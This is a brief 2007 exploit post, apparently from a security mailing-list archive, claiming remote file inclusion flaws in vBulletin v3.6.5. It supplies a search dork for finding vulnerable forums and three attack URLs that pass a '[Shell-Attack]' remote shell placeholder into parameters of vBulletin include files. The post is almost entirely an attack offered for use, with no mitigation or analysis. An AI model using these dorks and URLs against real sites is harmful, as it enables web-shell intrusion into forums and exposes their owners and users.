Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

BellaBook Admin Bypass/Remote Code Execution

BellaBiblio Admin Login Bypass

Dora Emlak Script v1.0 (tr) Admin Login ByPass

phpVoter v0.6 Remote File Include Vulnerability

From:	RaeD Hasadya <raed_(at)_bsdmail.com>
Date:	31.07.2007
Subject:	RFI ====> vBulletin v3.6.5

By Hasadya Raed
Contact : RaeD@BsdMail.Com - Israel
Greetz : -Fairoz-
-----------------------------------
vBulletin v3.6.5
Dork : "Powered by vBulletin v3.6.5. Copyright ©2000 - 2007 "
-----------------------------------
Exploits :

Http://WWW.Victim.Com/vb/includes/functions.php?classfile=[Shell-Attack]

Http://WWW.Victim.Com/vb/includes/functions_cron.php?nextitem=[Shell-Attack]

Http://WWW.Victim.Com/vb/includes/functions_forumdisplay.
php?specialtemplates=[Shell-Attack]

Discovred By Hasadya Raed
Have A Good Time